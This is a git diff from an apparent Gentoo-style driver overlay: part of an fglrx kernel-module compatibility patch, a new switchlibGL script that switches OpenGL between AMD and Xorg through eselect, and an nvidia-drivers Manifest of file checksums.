+@@ -1441,7 +1441,9 @@
+ todo !!!
+ #endif
+ 
+-unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,
++void __cmpxchg_wrong_size(void) {}
++
++unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,
+          unsigned long new, int size)
+ {
+ #ifndef __HAVE_ARCH_CMPXCHG
+--- work/common/lib/modules/fglrx/build_mod/firegl_public.h
++++ work.new/common/lib/modules/fglrx/build_mod/firegl_public.h
+@@ -441,7 +441,8 @@
+ extern void ATI_API_CALL KCL_SIGNAL_BlockAll(int (*notifier)(void *priv), void *pPriv, __ke_sigset_t *pSigMask);
+ extern void ATI_API_CALL KCL_SIGNAL_UnblockAll(void);
+ 
+-extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,                      
++extern void __cmpxchg_wrong_size(void);
++extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,                      
+                       unsigned long new, int size);
+ 
+ #define __ke_cmpxchg(ptr,o,n)                        \
+--- work/common/lib/modules/fglrx/build_mod/kcl_io.c
++++ work.new/common/lib/modules/fglrx/build_mod/kcl_io.c
+@@ -37,8 +37,9 @@
+  */
+ 
+ #include <linux/version.h>
+ #include <linux/autoconf.h>
+ #include <linux/poll.h>
++#include <linux/signal.h>
+ #include <asm/io.h>
+ 
+ #include "kcl_config.h"
diff --git a/x11-drivers/ati-userspace/files/switchlibGL b/x11-drivers/ati-userspace/files/switchlibGL
new file mode 100644
index 00000000..a6aa4fce
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/switchlibGL
@@ -0,0 +1,61 @@
+#!/bin/bash
+#  switchlibGL
+#
+#  Copyright (c) 2011 Advanced Micro Devices, Inc.
+#
+#  Purpose:
+#    For switch between AMD and Intel graphic driver library.
+#
+#  Usage:
+#  switchlibGL   amd|intel|query
+#    amd:   switches to the AMD version of libGL.
+#    intel: switches to the open-source version of libGL .
+#    query: checks, which version is currently active and prints either "amd"
+#    or "intel" or "unknown" on the standard output.
+#    must be root to execute this script
+
+ARCH=`uname -m`
+E_ERR=1
+
+# Check if root
+if [ "`whoami`" != "root" ]; then
+  echo "Must be root to run this script." 1>&2
+  exit $E_ERR
+fi
+
+# One parameter
+if [ $# -ne 1 ]; then
+  echo "Usage: `basename $0` amd|intel|query " 1>&2
+  echo "Please choose one parameter " 1>&2
+  exit $E_ERR
+fi
+
+current=$(eselect opengl show)
+# Switch to right mode
+case "$1" in
+	"amd" )
+		if [ $current != ati ] ; then
+			eselect opengl set ati || return 1
+		fi
+	;;
+	"intel" )
+		if [ $current != xorg-x11 ] ; then
+			eselect opengl set xorg-x11 || return 1
+		fi
+	;;
+	"query" )
+		case "$current" in
+			"ati" )
+				echo "amd"
+			;;
+			"xorg-x11" )
+				echo "intel"
+			;;
+		esac
+	;;
+	* ) echo "Usage: `basename $0` amd|intel|query" 1>&2; exit $E_ERR;;
+	# other than amd|intel|query parameter report an error
+esac
+
+#  A zero return value from the script upon exit indicates success.
+exit 0
diff --git a/x11-drivers/nvidia-drivers/Manifest b/x11-drivers/nvidia-drivers/Manifest
new file mode 100644
index 00000000..f905799c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/Manifest
@@ -0,0 +1,120 @@
+AUX 10nvidia 26 SHA256 1f3469ad49cf83d5d0dafd53729d6b20a8e2c9a070bcd4062ec7a1046a3dc2ca SHA512 471ffa2ee4d238a3f3a2e90a04f635fee57ed133f1a02ae6033e8ca5342c2ab1f5a8fb5672a189b19d91e70010f17507246ea8864788120df1285265cc8c5f4e WHIRLPOOL bd9f31661ef22fbbe1efaa51d8cea2d05fa9ba487ae1195f5137289682a9b7bd551093c1e08de3ee85a202feef83f9e1845cbac8fe763b0ca2b2bdecfd1dd705
+AUX 256.35-unified-arch.patch 1498 SHA256 7861431595e425c5df8acffb8bf536befa7a13618d6f66456aef6dac4db5c314 SHA512 0be0097e0ac540d672ded293168a56969bf26d62efd78d8ac320cbbd426744536c451835cb46f002f112a172fee0d44c8633add0932ab2c3b41ca6841f780f63 WHIRLPOOL e4a652d358519010f76cba94b0e9e97f3632f301ace8d5ea56fc8ae896e57445e08623189cf9240a99efad801774adee39a1ceea9ab982c5f36ae57e949c95b7
+AUX eblits/donvidia.eblit 695 SHA256 d404dd7e5657d83ccf3687720fb978030a3716e47957fb8bb80dea3ed57b3672 SHA512 606d2a496ddae2ac89d3ac0ce5b80bac90cabfe74d6b29c577ab047c3b83ce8965bb4b91b29f37bf55d4f34eaab623ac886760920efb9d306d3904cb3b51291c WHIRLPOOL e0a945c4cbaa0514e19eecf8faa4daaa76c8fc6392fb9a2a607e011e7994c535a3ba4b024de9ee9f4f34c7d4e0d48a0c3315f4cf9687be05fb577ec8dd3c0fe2
+AUX eblits/mtrr_check.eblit 629 SHA256 ae1b8fb37985fc3e42a4a776779b3fe3d70be2c826df5c3f99d03ba7209ca0b1 SHA512 db1bcee808c616536e21f98d65cd0c2b64b26b8b0db827decfc8fe12b031431bf961f1f2016a22170b9400672aeb508f548a66c15018570b44fe1cd535692f86 WHIRLPOOL 4f4961dc5aa71f273871f9171f485aaf5dd27906a564e1967b9298362b2302d9b137a757c6e6918b4b3d1efef75b0ed266f08d83c898e0a1f2b47653e1ca7335
+AUX eblits/src_install-libs.eblit 3472 SHA256 6f301de374736cec316794bf1935a15de025b3c505981f24e06e3df75818ad6a SHA512 f3dd0cb69276cec6f2b7cbb452c77c8e0a82fc37514c31a21fb9a251e38027e4adfdda6ca8b1897635897608a0e70c81f03ff88466a7db1387ed7a4241924ce8 WHIRLPOOL a2e84fba09347bec9b27129f02311696938ad5ca61fa7ff8d9efa10ad9c63a01a622cba1d08b1e166c737e88b50add234c7c0d59b88e5b64442269a7dd47cbf8
+AUX eblits/want_tls.eblit 952 SHA256 e5ce767a2e9a5c0682e764b9ba42a20e721a093f4c0626605570c8b5e3afecd0 SHA512 eafa21a324f095e3d80ac0385c1a5159011a57e3aa2465927c71524c6329147f2ee804f6b0772d4ad97083637451df397be0da748d8674d5be42b308fb25ae2d WHIRLPOOL 8291d0fa548518926252fafabaa0ebbfd7ac165b380650beeed17c86918f95d658a3daadab6c4bde0adbdf1ce7b63a88ed6135cfcf9dceb4798f0b1ccefc8fcc
+AUX libGL.la-r2 733 SHA256 4856e7a2c31763ade41c93a395f3e80a2705ac2ab4dbd73e5161cdba132f407b SHA512 52fbc3d704274fc5403b95a5d696824684302f4a77e0b08d5a59850435b12d9bdc4cf931f346f91e950f246cc342e0a673e7657cc2cea95e991ed3aab8c1c928 WHIRLPOOL 6a0006277a8444b4b5191a7e07c972efde43c3a9ff8a7286d1d1f78c69c3ba394572f31716b684f1e28355572a6e9f9cbd5437bb9dba127d727f8789fbd2a980
+AUX make-use-of-the-new-uapi-framework.patch 1503 SHA256 47122d37911638163252557cfa754f35bda3d1db91812ac19aae86e9f6b4612a SHA512 a8e0de8b861b52cb66fe508456110df6effa3ddea42d023cc9ebeeb373d3bcc4fba5d9f6910343e4c211ebf64abf9073aedca25d0baf7f4e8ea4fd3b44a947da WHIRLPOOL 14d3dfecba46ddf6da0f1290730916c8d22bfcad8ebbf4af8720b1b3a76072c076444141a14927af9c7339f48b6fd3b9f3924bb050a13e2ab30158b9a1e102a5
+AUX nvidia 1510 SHA256 b193cc3f6d6f39138720a2282d9f161fc8f2e8a15bc43d183a30eb879add06c5 SHA512 4ffdf49c2634b261be122a0016b0f69d30db6fe4b4a29767cfeee2e1d60671e7e6fc5e5c3a237b351a4def64404db121cf296a0cdb6e1bbd4f8e78ab40587000 WHIRLPOOL faab4c87940e4703b2a30f284cae34bdf4ac486cb1d402b5bd91ef65c23f443c2c961ad914fbcbd5258dd5bbaeee583f189fcf5fc14f2b9925c8ccfa0fc422c7
+AUX nvidia-169.07 639 SHA256 a8c4860f008d53776fda7a17b59524f271236559af688e9a2c9845cbbcba1577 SHA512 3af295c026280dc3a2b73c2cc7772254686b09cad15f1333ab0b4de8cb0ccf78e725ced2a399b10edcf8af6ba42ab1485dc0661af67461b0c3789f786357772f WHIRLPOOL 626ae3c01c879e0cfe05bd373e0b9dfd6f462dd9ef6ae94a7d60276fe2d17c57fbb20aaa4d2a186a0ffc2a860076692aac854d00a3545bc9736e7bb8d0581055
+AUX nvidia-drivers-173-3.10.patch 22318 SHA256 e1e84b3f882df06295295050003855d435669be049fd8cdf73f95917e4ed2c3a SHA512 8c96fa9c945e4a2620372d171049a1bf3318a2d0bfba6857717eb7c1132a2538edb536b9958e0d7647f93fe60bdb2b2c153b3dac3b2ff4fd057a78288b1e6e5f WHIRLPOOL 741ffb283a249f39c74f83b38e897489dcc4d644daa27c40af00a51f1768336c4d4371f379f5fa6c1c3ec80e011ea83a8703fe90307f00e12d0befa96b94fbc0
+AUX nvidia-drivers-260.19.44-2.6.39.patch 481 SHA256 f4aebb017e5a054171df7594220674583dbb25c0e8f78778141bdc5694fad521 SHA512 37a46b1e0fb688144a1a40bb403b1ffa718aa215e413887c757423d4e3b3e6a12187dd0c96607063c0358522d2a383e6ffd71ec855a108340fe7710e0106bf96 WHIRLPOOL 5fdff3d8cc58218d8151d68d45c99fde31eb913985302f76f74414fa2e4a3bb8d11470ec9be124a1c96648d002c13f350a9ee8bf9811b594f7c618ce0555138f
+AUX nvidia-drivers-290.10-3.2.8+.patch 481 SHA256 e34491c1b8cbb0b310f14aabea34c4dbc6bb3ee20c78ac87d62f960134f5dda0 SHA512 d40b728f3955ea651ee6fefa9b8a7b7cc2c5aee9cbbf0662f5abb6709a6b62cfb13e80d9595e08de35f2d8c4631200e17c91cd4b8c32059f866d35c00f750ef1 WHIRLPOOL d8938f7ce01713ad6a5e194ce3b1299d705cffcbabb6791dcc0feb0fd4d386401dc5d810496db0b30c7bcc8b184d37d07f27979514ec09c2b83e78cbce0b5b3b
+AUX nvidia-drivers-304-3.10.patch 18864 SHA256 a5793ff1620b062880fd23f4c5bc469bde70e2ee6f74f7261636298b33154bd2 SHA512 d985d4982728167fcb491081a151fa7a7f6536d8fd0152dd627b6be02b357a780732d78bffc41a4e8f25903cd6213eb79a8763ddd9787e01e067dc200e0213a2 WHIRLPOOL 3c07a3ac4891f2685ed0057a2c340d8b949480ca1e3e13d13cc9b801652b101d54934e98b5951522f186559f55638a240327862540e1cbcd1e494bf937e91113
+AUX nvidia-drivers-313.18-3.8.patch 775 SHA256 329a38af4a6ea8c76e61129140b8dec16694b50328934346a40ff5e571671083 SHA512 0dbb88a54d8daffb1c6654623187f505e62042ad92f8dab8e7c15a1d43d461965b159c08a8c8971e342b88050274a8a72d578ceebb025891cdf083dd65213ce5 WHIRLPOOL 269a97eb0ceb66ad9418bf4e453b5e891bcf96c29dec8b4bc8aee0674448d05edb155587b03b98dfb20d1e071c6419badc64d6982601c46edb7e4b916a17c8e1
+AUX nvidia-drivers-319.23-3.10.patch 17669 SHA256 68d9c37dd177829bd240447d070489fab3d58f4552d09d46ff0a2ee7cb07d127 SHA512 a0a3c22d0c65b8759929b982155f233e49d279a5de74c7cae438681666324656319d1a1bf8e867453c945eb4bd12406287bf497440c1801142c1ba327e473c58 WHIRLPOOL 98e7a37285c5a2e94ab33c29221803f404ef6aa6fcaf0398563e2131c132c708095f09d97e4e82e73146f95da39e07589d620a8bf1c8ad7e23bec9196c4b316a
+AUX nvidia-drivers-96.43.19-2.6.39.patch 561 SHA256 63e9f372023454943583e9b9c0603a12df3481fb3e36b89c411e8d70b5d9aa26 SHA512 f479b491ca863556d6f7b1ad23962b339c7815ab29ce8a5b1be8275cebce04f009ca59a6204f5e0b56dea57f276e9ad1953072b65a448111c1c85731fe05d608 WHIRLPOOL b0895792f6faedfd8cb0a0b5af9e6a2584f882690aef129b3be88913c364fd476ff05757664c0a2cc48db5b7d6cec19f56d09897e682b2c18f62e2cf82968e73
+AUX nvidia-drivers-pax-const.patch 833 SHA256 74ba8aa3b03e1b4a0515fd84c159eaeb7635fa1364e77544b01ff6f571f0e6d8 SHA512 6ef94db71cab2dd47273eaed1857209d03ef648d268c7645f3ca4caf6b894590e42a8e716e4354f2eed656e7d55a4c1774b1e6a4be215fbf59fc9d0b1a5762a0 WHIRLPOOL 1b2d737ee7ccee831c85bd8af9605c0633fd025bb209e6d76c13f49a5664aa490bd5b6ce48855e541fe87380cd7b723162e1965b803e1ed630f239bf4dbd0d19
+AUX nvidia-drivers-pax-usercopy.patch 2350 SHA256 56980f43db38d582bc6a9bfd881973fce6e3e056b77ce4f4005bdcf79526a863 SHA512 54a1354ba008d014a608044610027b4d808120f8e77cc7d5ac855c3dcf4f487b0a4c0870ae4e727db0643cb56ee21513b803976e9a30c6838adf2f5414232804 WHIRLPOOL 78ac54bfe52cc3b6dfa28e17020991dfb7056984d667b0fefa41d23372b03e1a8e6d66c74e1dee234733d5b2b36e2c0813f507a89716ae2d8f1f6db917fdf01d
+AUX replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch 829 SHA256 28c9254efcff3f8ff51c8f8fdb1a277a49c1b3e424064454b8aa43f114e38bfd SHA512 bbb0844f0688e3a7e75e26ada19633c451bd9259e8084e6b49f5889414b417f047878e7819276c878136679c5a69575a02d2c1562e9c53ddd3dba8b61f2708f5 WHIRLPOOL ddd315ffaf6ae48f0f369813001b55920e76682a1c0d1bc694ef64bc8828c9bd1e87f8849b35f006e387aa6ff2fb93bb628c59c1f91b348b8573396a6c5ff686
+DIST NVIDIA-FreeBSD-x86-173.14.31.tar.gz 17991684 SHA256 98699bc8dc1dad86cebc2ed067b4fc5cd37b8540e897bb218f38ac80c4b4d875 SHA512 4e6fbbeaff54563a135346e60372046cb2cd2562cc606836dc3169d4f50c0b112095b1f0f3f14f2f0facf2be1235064c13766432a04b927f2ab81ef50c8f4f34 WHIRLPOOL 0cc4f196d7ccbdd45f8584fef9f98dd1af2fa260a8e694a6000e5436ae2ab35df6ba5f8967261e36f0107962744423fc73eef9d0e59807f78536ecf8de0f5963
+DIST NVIDIA-FreeBSD-x86-173.14.34.tar.gz 18792829 SHA256 44368464ad72addb999aa7bf3a1d684d4cddd1bba08d7bca9e45a825cb8865ae
+DIST NVIDIA-FreeBSD-x86-173.14.35.tar.gz 18748428 SHA256 51e82a12db81b5af4ae5ee59612875c0dbef52cb641d61a44c72f2e1cd7f4c78
+DIST NVIDIA-FreeBSD-x86-275.09.07.tar.gz 30304023 SHA256 d5d119c2f066539da0f2d1926193f6bc2bfbf2a1dcdff77322a23b42c5df91d9
+DIST NVIDIA-FreeBSD-x86-280.13.tar.gz 29589886 SHA256 2ad1882467a2d8a0b65dfa15e710e4938786e51f688e1d02d4d3343868b9239e
+DIST NVIDIA-FreeBSD-x86-285.05.09.tar.gz 30697710 SHA256 d3ad51145cd57c70678ee659112a0973187b1b02e3062addadd0fe094b3c46fb
+DIST NVIDIA-FreeBSD-x86-290.10.tar.gz 32042469 SHA256 f5accbdac0b231a8073f76c1d1d8ace7cb98ebe167888c31183a2752a669ee92
+DIST NVIDIA-FreeBSD-x86-295.20.tar.gz 31993959 SHA256 fea6d5552a50e2aedc4726944fea85ac8baf0d0b26661fc3b1f97f54ebec6736
+DIST NVIDIA-FreeBSD-x86-295.33.tar.gz 32039170 SHA256 e3f8052fdac78defafcef495febea2a77f820f2c4c9ecbe47fb92bf630321afc
+DIST NVIDIA-FreeBSD-x86-295.40.tar.gz 32029253 SHA256 f47b603f39dfd2e405949aab6fbc7abd4b24f43c6fb47b4f23d7618f32021364
+DIST NVIDIA-FreeBSD-x86-295.49.tar.gz 32078716 SHA256 aa7c9a13931a55e358c542e1d18feb0aeaa7b18550e9675698b152265134d938
+DIST NVIDIA-FreeBSD-x86-295.53.tar.gz 32085530 SHA256 ecb637754ec31a0c058017e04b363abb831b96584ca9684b676a93ecb5af93ca
+DIST NVIDIA-FreeBSD-x86-295.59.tar.gz 32092806 SHA256 9a3e1794418add03ad97aad93608d1bc1f2f9c5a82e0321a2a8ba1c9db7d41dd
+DIST NVIDIA-FreeBSD-x86-302.17.tar.gz 32072917 SHA256 b0d50c3333ee7c485bfd5287b37e253ed358dd5d205997f0c50e16f04b7714c5
+DIST NVIDIA-FreeBSD-x86-304.22.tar.gz 32975645 SHA256 20a84c23339695fe73d9be977662b19572360d8d87b54aeca428f73e2510c1e5 SHA512 15788983073427a9729b61a37b684c37bafd57618bbacec40fe8f9bd0a3f6f30d417297dee5e3ca287f0b71c74bbe03163edef048f8ad38cf2493124820244dd WHIRLPOOL f823ce885ebcd8ab9af427487c8dfffe5cc7adc61e1c4af31371b808df449584df1f571310610e901bc83c4e52cb553d2a71d0ae5e3fadfadf56ce1a97447484
+DIST NVIDIA-FreeBSD-x86-304.37.tar.gz 33291575 SHA256 e6c3a1d4a757b5d4f2ab54a43d5d7008fcb1b481f14515f58adcd31f3edc6576
+DIST NVIDIA-FreeBSD-x86-304.64.tar.gz 33320263 SHA256 e129d0d0e8d256d6328cddc4c18edb96c1e444c354f7c806ece4192621a1c1b5 SHA512 032de0524f2e68a06e6218f3737f55e16e6ae6ea9991b539bacabf4814a101d2f0786d8e2fe750d59ddaf5b5cee5b1527adedc44539d2015370e879ee8b37948 WHIRLPOOL f042065e63a5a74b2d3b586135072df77156481383a5cb7993598efef841859c3a7d9a7c6ad7eb83016376bfe5d2b044088918711a6304380a8ade6c808ab60c
+DIST NVIDIA-FreeBSD-x86-304.88.tar.gz 33651825 SHA256 739325b26a93d934d015159c420ef1875a24ccd62a5bb482e688cf918d4fa33d SHA512 6dab929d2d2bacfc3a96ab24ff02996938613851e2b3c050ed3a1d0cca3751c574f12508e21119f2b43ff0421c3f88bf4edd51a37f3374c72c6337bcb8d6bcdb WHIRLPOOL b9be513a8dd8ce4cd6eeb23a24e725c751bb2cce0745477df2b4b84d7d03ad557d0b16bcdfb8d642168de09d59b057cb2955fca11f50b281ebad92f30a7dc4e1
+DIST NVIDIA-FreeBSD-x86-310.19.tar.gz 32264033 SHA256 29635a45e87fd240d472868dcd1ff9030f7eb85d78ffe85dea0f420be390d3e0 SHA512 77fd63c0c2cca5462c7e969e300f027dff9cb60f4234868f42317604d537a7bccb2631958f2a0cf74f46ee685d8f2a25f3dab2792be00a5c638d9756deb5a582 WHIRLPOOL bc896389ed9ad32e8e2e087476a3bafac9f828b8a1167c7b99cd58688d56d5454717dbe99b83fa1eca3111a80ffa9f721332364c8fdf95c02f4c5e05f989248f
+DIST NVIDIA-FreeBSD-x86-313.18.tar.gz 32592785 SHA256 515b8470dcea3e122403f5902ba6ce3d710d9ddc4d9edd581ffe85e184af989f SHA512 00f15def371cbd2c433b2cecc1f5ff455ea1b112951b3453512b88371f7fa25047e5409cdbd7e34b7c8e6d5b1691b6d662076737dcfd6239f60926a013a1de52 WHIRLPOOL d6a49d027a4cc66c05a246f84ca8360265ce98d50e1e35d4d8828f2003c472d2154eb277cecddd1eb39ecc44896795e529daa743f37174c0e1e2a84b9fa7bada
+DIST NVIDIA-FreeBSD-x86-313.30.tar.gz 32591892 SHA256 1e02831fbaddf2f27808ea26352d835417f59bcf54ddb3e9c0f1d7b76dcb4666 SHA512 68cf61fabf707dfa1225011cab3749959ab29f09f611347eb9f9bd55065012d04382998e67091c4d3c1af9be21be6381aef9b6414448ee15f9a36d44448f5bf8 WHIRLPOOL 71ded70f45e880db2c2850c596cebafd004adf89f7131adaf324d1d38abbb5457a700bfa9e671bfa144515556f011df8a37fdf22b78b879f39007be6487f060a
+DIST NVIDIA-FreeBSD-x86-325.15.tar.gz 34164781 SHA256 745d8454833d1ad59f6480ac2d1ca744862e4e711e16deeebc0d04ff86925c4d SHA512 b1ce1041d7f3a926c3e62e398a618063e24675cdd919206c11e556f38d3b0078233ba31207d04e9d94e26bbf5eae4d43f8db457e7ac4fecfb8d407d2dbbf3040 WHIRLPOOL 9a37ecaa745ab9ff80755f01100610f85467fdfb55f5568dd358cb39302c0951edd91d518f1027bb0d43628e575ff9c1799ad956b9e673a31d38f7f3db125c63
+DIST NVIDIA-FreeBSD-x86-96.43.20.tar.gz 14060884 SHA256 e75fce272e72644d53e6ad3c0957fe173735a4b621726ce227ba8ecf9bd9c5cf
+DIST NVIDIA-FreeBSD-x86_64-304.37.tar.gz 34210803 SHA256 0d00046c8463954b6c8e13e245b2619758e947389161a113aa005ef7566e5dd3
+DIST NVIDIA-FreeBSD-x86_64-304.64.tar.gz 34247065 SHA256 9887e4147fcb16141dcb6b153ff71a28c73cf2a4c16b60e4c6fcb8586a1c5400 SHA512 31750ebf8f8583e82dd3211888e729dac866b73c9cce4cf666900f7d1269097ed1df9e30173c8091e0ed5196dd3d4d9b09e2aaeaef2936aa3f95fb673a37622b WHIRLPOOL 1412c1e9deaecd2f7fd086ef57afb6ea8b2252b57a4e69a71561768a6fed7e6387d10db4e4efa5c9772e2954bc0fd2c1902bff29a8b48ce6dc05e87ec913c908
+DIST NVIDIA-FreeBSD-x86_64-304.88.tar.gz 34597351 SHA256 be0e20a543fa14a8f91481dd64b080093b19edf951bf631c62365a64dadb1934 SHA512 143af863aef72962d83c6f77160512d0860a62964e92043400674b0be95735ae6f2dbdd25c42fa96b4511cece9c73b7072f829a88d46ab6b79aa750b65e64748 WHIRLPOOL 74b5014736065e178b261716e81f367395252efb3aa3b84faab6b6d26f561caa129e1d9bc0e02ce98f83dcaa3603fddd155de4b50e760bf2ea8df4c176b21e76
+DIST NVIDIA-FreeBSD-x86_64-310.19.tar.gz 33184883 SHA256 82607fdd14c666867b842205be3ec8b8095fb0c9da1cb2286b0bf85a769eb9ae SHA512 5f112a4dbb379977c9b1417536964d02498cb9d4a4ff3c35291dfaa5c90fcc8b2073ec75a1db9358c98686661d525db5e7e42036500281d09a1be608f9c2b851 WHIRLPOOL 3b629c57cc63319b18805fb67ebf75d07907a52b2c1d7cad12cca8837c29e6557c772c416d52d15f1e8f7b01b65b8a7728bd4cf5c0da890644e3151421fb901d
+DIST NVIDIA-FreeBSD-x86_64-313.18.tar.gz 33554240 SHA256 57fbf9c85fb19a7f2fb3c6c2f50421e70309cd3360c059a2fc6efc125681ff10 SHA512 fe2c0ec88b7cb5d49905dd082d46f3a4268dea78bf4dbdc6d82b60f1ec9998d478b4332de48094af7bb7b9b51eb6885aae446998830c28555521715db7a59dbe WHIRLPOOL 95e3c577b3831bda11f0ddd8ee1fddc2f1a3138db35c78277fe99ac6c75d9dca0e9b8acf59ca31413f11775772d82bef85077355796bb6882bf9804868361b66
+DIST NVIDIA-FreeBSD-x86_64-313.30.tar.gz 33557658 SHA256 192ad1bb8a0cd649e12bcccf97c5f4d2002d6695126fea81586991d9e95248d3 SHA512 79b3b47bdcbc99f724f8c424733c11f1b2653103bbe0ba9849587628611d9da08ea434c786cc7d3d891bde3dfe4068298a7377ce5b1a3484fb64ef4d28c896da WHIRLPOOL 7307d6adb04b47b8403134e7394bf9af4f90839d1fb62aa3b7b7c6d8e367392829fb249dc8d444e66158fa5b5b15cf5b6c16e1f5659a22a15c17f55eda026660
+DIST NVIDIA-FreeBSD-x86_64-325.15.tar.gz 34590166 SHA256 92429119ca8e50baa06c6681ed2b9eb6c37cdf256a19ba4e1827be4b202a0569 SHA512 c9e4d41a5dcb02a280fb323fd4578bc7851d4242890f1d8e69a59e083a2a76cccdaba3ed55f8eb8f983e9c89326f0a9d7152bd7770230fbe45fc7b5865c486b6 WHIRLPOOL c54638af7fb6aaf63222ea75cc377e5e449dfaa80dd47a23aed2eec8da1c460c9e3c24627a2853287585a65b0f562e3efc7916fe985a4816d82aebc12bf7021b
+DIST NVIDIA-Linux-x86-173.14.31-pkg0.run 13407481 SHA256 e855a62f16a9d0eff1bf470a8fcedd48cd1b718e969ad5ebe89a557d039d1924 SHA512 bb58aa1ee84c71311a7b5cd3d87fa2827b6b41bb4645849611381ce7e255516da66fff9cc9a295a39ea185668d7f91fde0eaf56a18b04ae67ae468e1e509bc46 WHIRLPOOL d9a28dd96bf77051e6cf91a1b29c59fac716e14f3d3726867ecd9e43ac90d62d4ace0f0add7aff619f4933a8dc9e87734df3fcb5483db62bf99a77320d4e2f33
+DIST NVIDIA-Linux-x86-173.14.34-pkg0.run 14071464 SHA256 a873b7a28b1d83fcb7a97e4d5fcb471bb96bb5094bcd5e86c728ec22b49b258e
+DIST NVIDIA-Linux-x86-173.14.35-pkg0.run 14028887 SHA256 2d26100f7691047e424e1614deca0f1d862da5fa69e04e967f0c1dbb84ec729a
+DIST NVIDIA-Linux-x86-275.09.07.run 30930605 SHA256 27d1b2073c11bd56e423ed80bd22773f1f282c39ab3b76773144cfa680a1ff0c
+DIST NVIDIA-Linux-x86-280.13.run 32704856 SHA256 b222afe19c6310f1aa2a2574f27fa9e2b877738177daa60162bb5705758bac9b
+DIST NVIDIA-Linux-x86-285.05.09.run 33592492 SHA256 ce03fa99b62081b52bd5dae3594ac5942413ed530cda3d76a82f4ab0afd36f96
+DIST NVIDIA-Linux-x86-290.10.run 34691272 SHA256 99be8f53aa1f777445e5a4cac27acd7d85990db712b5c29caac865145fc5adaa
+DIST NVIDIA-Linux-x86-295.20.run 34641353 SHA256 0f9dc3d493053cffe37f72b6783edc6c14afd31532b43a7cf0bfce763cf2d500
+DIST NVIDIA-Linux-x86-295.33.run 34675369 SHA256 90a866c9c2f3904bc25b7a5829f8b40a419e60a79ad13c980b48d3bf89625a47
+DIST NVIDIA-Linux-x86-295.40.run 34668138 SHA256 ccd46574dd843a50327f50daa6f0b635ad7eca4a5b9a5fa963d0871bfa74ce2a
+DIST NVIDIA-Linux-x86-295.49.run 34716936 SHA256 f13b44725f4904ed3f5250d733b45b5815f54e8b588dfe6c6180918e80f35c6a
+DIST NVIDIA-Linux-x86-295.53.run 34718461 SHA256 0040096216ac6f8695743c9124a067787d30947f7c64f2734bac474f5af0b0a0
+DIST NVIDIA-Linux-x86-295.59.run 34730118 SHA256 084bbb76c57d5c2a5b780322a95dcc230ec6e25b4f6c176574a93621399ce5a0
+DIST NVIDIA-Linux-x86-302.17.run 34598956 SHA256 3525d3814361bd202998cea2962bb3d1bb3419206d02fd8ac30d61358c1a284f
+DIST NVIDIA-Linux-x86-304.22.run 35433519 SHA256 174be68a403f234cadd6dbac785459f7a7463989050fa4e6c92ed65b638ededb SHA512 885a0a8a7ecc387a9bbb806b2f36942d7bee2bdfdb784169490b72667db4218b76e19b4ebdecf107e1498f8e1d5544e3d44ae6b02cc6d6855431602e4afc3064 WHIRLPOOL ab691f2aded714b38afad1f6ff966dcb016cb409e4b78c37137aac439c06d2df112b74d72abf205526b65cae7d90a7e5f5081426d29e1cd310139511b77794c4
+DIST NVIDIA-Linux-x86-304.37.run 39349097 SHA256 ab3174a0c9ab37a8fc3f4a8fc1121d72fbdd5e00ddecf44f7dbd84bb8d51b337
+DIST NVIDIA-Linux-x86-304.64.run 39386363 SHA256 23464129f7ea5a00f724f67627206b322b6d08efb7134192a56ba50ea93d2252 SHA512 106e40ec6453c0f08c0ec926e5121357535395c5d97acfdaa3c1b95f9baa256d1797cde56e1fa696e267cd1d12fcb1624d6e60e28256d9658bfed12580669c5c WHIRLPOOL a6ab62b283963a417781d4d90c03f7a1b2afedb69d1e2e862bdc67c6e8148a29de396e362dea46a4024f65470ecc2f984b468df9ab784aca7327e80529af2bc7
+DIST NVIDIA-Linux-x86-304.88.run 39682604 SHA256 71e10294f073e31a387da4282b95cdde5fbfc996cb1c564f290eb0df1289b7cb SHA512 ba6f0236aead2f5161c94c7eaffb2497815ba1a7cbf872ae37d620d66533d4847acb6dfcc230e2b751aa9717ae552940ed6d3da1a9209aa54f6a810e3f551e49 WHIRLPOOL 9c2e0438630e86ca8c7aa2f26928113e5f15dcf808be8a4c2e937fd04b8d1aa7304bda714580834cc5ef4dc57304f41be62b55ee75545b9cfca3533b6db737e6
+DIST NVIDIA-Linux-x86-310.19.run 38581112 SHA256 85d082c06a1ea07f514d22c0de4d5d2af065bcac37c377c3d755904bbf780c2f SHA512 ef24e695b76b57cee1d13601c5856fe723da9da678e0f78739f0e291c5d00cea9e0da5b110f4125a79edd420127fed0a48883eaad591ed16e6660b139b7cb289 WHIRLPOOL 064bf26184b644210f565ad9b1b400abb26b9c8b61b519d2831ce04128fcc58c57e9474bb2ec5f3d935799857a1ca4c3273b68a36aca1d2285318f2679251f5e
+DIST NVIDIA-Linux-x86-313.18.run 38865783 SHA256 58e5e2191890ace94849444f5d2de4c2921dfe02cd97825d81a128754ff4488f SHA512 70ec92071de3aabe77ee5304a4c2c1b7eda0e2b44860f63b05c8c004aaf748c18b40e5f7558dd6bcb99e1e394557a2c189ca462400fdde28aee408a64b8b7e27 WHIRLPOOL 3f6506e17414a78d4dc7a69e52e34d5172529d061dd8aa7b7e31066281525a0cbfefd846b2bfdb21820ed3c6a0c1348fae4e0d7d21c82d6633e284f5a0dfbd52
+DIST NVIDIA-Linux-x86-313.30.run 38845860 SHA256 0a0f10979b1bca8e4a244e204b58aeb9a580924a9dd7b11b21d15abfe1ad49ad SHA512 c3b07e7186fcf5a1f3e73f4e9510dddff2a42c0202bc471a946e38e636af27b2d17206b7105a7a80179fc17ebceab6c2802ff6ddaabae9e16a930dfa1252a2db WHIRLPOOL 2d4402883a480ae3050af18f3fe1aec4110132aa4eda0ce9675f79471a526e8b90b9ebe6a0a5c76321474be6ace963520b903cf809835472649b095be757ec52
